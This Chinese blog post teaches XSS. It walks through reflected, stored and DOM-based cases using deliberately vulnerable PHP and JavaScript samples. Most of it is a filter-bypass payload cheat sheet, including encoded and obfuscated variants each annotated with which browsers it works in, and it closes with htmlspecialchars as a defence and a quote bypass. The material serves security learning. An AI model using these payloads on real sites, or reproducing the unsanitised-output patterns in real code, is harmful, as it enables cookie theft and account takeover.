当前位置 博文首页 > Dark1nt:xss-代码角度理解与绕过filter
??xss全称为cross site scripting,中文为跨站脚本攻击。它允许web用户将恶意代码植入到提供给用户使用的页面。代码包括HTML代码和客户端脚本。
??反射型xss也叫非持久性xss,是一种常见的xss漏洞,但是危害较小。
后端代码
<?php
highlight_file('reflect_xss.php');
$user=$_GET['user'];
echo $user;
?>
前端测试
可以看到我们的js代码被直接插入进了页面执行。
根据需求可以构造各种各样的js代码
因为没设置cookie 所以不弹cookie
??存储型xss也被称做持久型xss,存储xss是最危险的一种跨站脚本。它被服务器接收并储存,用户访问该网页,这段xss就会被读取出来到浏览器。
一般出现在留言板
后端代码(拆了dvwa的xss存储做测试)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
审计源码 我们可以发现,先检测了用户是否输入,然后对输入的名字和内容进行检测,最后将值插入到数据库中
前端测试
在当前页面刷新后,会重新进行sql查询,将查询到的结果返回到页面上。
所以可以通过这种方式去获取他人cookie,实现登录他人账号。
??dom型xss只发生在客户端处理数据阶段,可认为dom型xss就是出现在javascript中的漏洞。
前端代码
<html>
<head>
<title>aa</title>
</head>
<body>
<script>
var temp=document.URL;
var index=document.URL.indexOf("content=")+4;
var par=temp.substring(index);
document.write(decodeURI(par));
</script>
</body>
</html>
关键是script标签下的代码,因为用到了document.write 使得用户输入的代码被写入到了页面上。
前端测试
<script>
<a>
<p>
<img>
<body>
<button>
<var>
<div>
<iframe>
<object>
<input>
<select>
<textarea>
<keygen>
<frameset>
<embed>
<svg>
<math>
<video>
<audio>
<style>
onload
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
onclick
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
formaction
action
href
xlink:href
autofocus
src
content
data
属性与属性之间需要空格,而属性与标签之间可以不用
<img/src=x onerror=alert(1)>
通杀各种xss漏洞使用html实体编码
<a href=javascript:alert(13)>M
一般用于dom型xlink:href隐藏链接
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
通杀jsfuck编码弹窗
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
一般用于dom型aaencode编码弹窗
<script>?ω??= /`m′)? ~┻━┻ //*′?`*/ ['_']; o=(???) =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) - (?Θ?))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');</script>
一般用于dom型网站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html
并不需要规范的script
<script ????>alert(1)</script>
通杀使用unicode编码+html实体编码
<script/src=data:text/j\u0061v\u0061script,\u0061lert(/XSS/)></script>
一般用到html实体编码的只能杀dom型使用unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script>
通杀不使用alert,使用别的事件弹窗
<script>prompt(-[])</script>
通杀
<script>confirm(-[])</script>
通杀
使用/替代单引号和双引号
<script>alert(/3/)</script>
通杀使用String.fromCharCode 转成 字符
<script>alert(String.fromCharCode(49))</script>
通杀执行代码后加.source不影响代码执行 加其他字符可能出现undefine
<script>alert(/shit/.source)</script>
通杀使用settimeout输出alert
<script>setTimeout('alert(1)',0)</script>
通杀经典button alert
<button/onclick=alert(1) >M</button>
通杀过滤了所以on开头事件
<form><button formaction=javascript:alert(1)>M
一般适用于dom xss无限弹,弹到死
<button onfocus=alert(1) autofocus>
通杀插入p标签
<p/onmouseover=javascript:alert(1); >M</p>
通杀img标签常用Payload
<img src=x onerror=alert(1)>
通杀<img src ?itworksonchrome?\/onerror = alert(1)>
通杀,但只适用于谷歌<img src=x onerror=window.open('http://google.com');>
会被谷歌拦截<img/src/onerror=alert(1)>
通杀,适用于谷歌<img src="x:kcf" onerror="alert(1)">
通杀body标签常用payload
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
通杀<body onload=alert(1)>
通杀<body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus>
通杀var标签常用payload
<var onmouseover="prompt(1)">KCF</var>
通杀div标签常用payload
<div/onmouseover='alert(1)'>X
通杀<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
通杀iframe标签常用payload
可以通过实体编码
&Tab(换行和tab字符)来bypass一些filter。可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。
只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack.
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
一般用于dom型xss
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
一般用于dom型xss
<iframe%20SRC="http://xss/xss.swf"></iframe>
调用flash xss 通杀
<IFRAME SRC="javascript:alert(1);"></IFRAME>
通杀
<iframe/onload=alert(53)></iframe>
通杀
meta标签常用payload
文章标题跑到meta标签里。只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
测试失败<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
测试失败object标签常用payload
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
通杀marquee标签常用payload
<marquee onstart="alert('sometext')">as</marquee>
测试失败<marquee%20%20onclick=javascript:alert(/xss/)>as</marquee>
通杀isindex标签常用payload
<isindex type=image src=1 onerror=alert(1)>
测试失败<isindex action=javascript:alert(1) type=image>
测试失败input标签常用payload
input和Button差不多
<input onfocus=javascript:alert(1) autofocus>
通杀<input onblur=javascript:alert(1) autofocus><input autofocus>
通杀select标签常用payload
<select onfocus=javascript:alert(1) autofocus>
通杀textarea标签常用payload
<textarea onfocus=javascript:alert(1) autofocus>
通杀keygen标签常用payload
<keygen onfocus=javascript:alert(1) autofocus>
测试失败frameset标签常用payload
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
测试失败<frameset onload=alert(1)>
测试失败embed标签常用payload
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed>
通杀 适用谷歌
<embed src=javascript:alert(1)>
通杀 适用火狐
svg标签常用payload
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
通杀<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
测试失败 谷歌math标签常用payload
<math href="javascript:javascript:alert(1)">CLICKME</math>
测试失败<math><y/xlink:href=javascript:alert(51)>test1
测试失败
xlink:href="javascript:alert(49)">CLICKME ``` 测试失败
vedio标签常用payload
<video><source onerror="alert(1)">
通杀<video src=x onerror=alert(48)>
通杀audio标签常用Payload
<audio src=x onerror=alert(47)>
通杀凡是on开头事件后出现javascript:都是多余的
将<> 转成html实体编码显示在页面
&(和号)成为&
“(双引号)成为"
‘(单引号)成为'
<(小于)成为< >( 大于)成为>
后端代码
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
echo htmlspecialchars($user);
?>
前端测试
在源代码中我们可以看到php函数htmlspecialchars将所有<> 都转成了对应的html实体编码,博客园里也用了这种方法。
默认转义了双引号和<>,其实已经够了
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
#echo htmlspecialchars($user,ENT_COMPAT); 默认编码双引号
#echo htmlspecialchars($user,ENT_QUOTES); 编码双引号和单引号
#echo htmlspecialchars($user,ENT_NOQUOTES); 不编码任何引号
?>
使用了ENT_COMPAT
使用了ENT_QUOTES
使用了ENT_NOQUOTES
已经有办法绕了,但是不能完全绕(必须某种特定情况)
后端代码
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
$html='<p value='.htmlspecialchars($user).'>登录</p>';
echo $html;
?>
只是简单演示一下,实际情况有非常多,都是将用户输入的代码直接插入了标签中的某个属性里,而且还是使用了默认的htmlspecialchars 不转义单引号,万变不离其中。
前端测试
正常转义
构造payload
在源码中可以看到标签完美闭合
返回页面 点击登录 弹窗
url: https://xsschop.chaitin.cn/demo/
??函数不重要,重要的是开发者的安全意识。